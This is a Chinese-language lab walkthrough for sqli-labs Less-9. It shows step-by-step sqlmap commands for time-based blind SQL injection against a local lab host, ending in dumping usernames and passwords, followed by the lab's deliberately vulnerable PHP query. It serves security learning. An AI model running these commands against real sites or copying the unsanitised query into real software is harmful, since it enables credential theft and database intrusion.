網絡安全-sqlmap實戰之sqlilabs-Less9

目錄

 

類型

-dbs枚舉數據庫

--tables枚舉數據庫表

--columns枚舉列

--dump枚舉數據

查看源代碼

---

類型

時間盲注-單引號

-dbs枚舉數據庫

使用-o參數優化,,--technique參數指定技術，--batch參數進行跳過

python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-9/?id=1" -o --technique T -dbs --batch

過程

python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-9/?id=1" --dbms mysql -o --technique T -dbs --batch

太慢，繼續優化

python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-9/?id=1" --dbms mysql -o --technique T --time-sec 2 -dbs --batch

數據庫

這還運行了6分鐘，有小夥伴可以更快嗎?下方評論，十分感謝！

--tables枚舉數據庫表

python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-9/?id=1" --dbms mysql -o --technique T --time-sec 2 -D security --tables --batch

表

--columns枚舉列

python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-9/?id=1" --dbms mysql -o --technique T --time-sec 2 -D security -T users --columns --batch

 

列

--dump枚舉數據

python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-9/?id=1" --dbms mysql -o --technique T --time-sec 2 -D security -T users -C username,password --dump --batch

 

查看源代碼

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

更多內容查看：網絡安全-自學筆記

有問題請下方評論，轉載請註明出處，並附有原文鏈接，謝謝！如有侵權，請及時聯繫。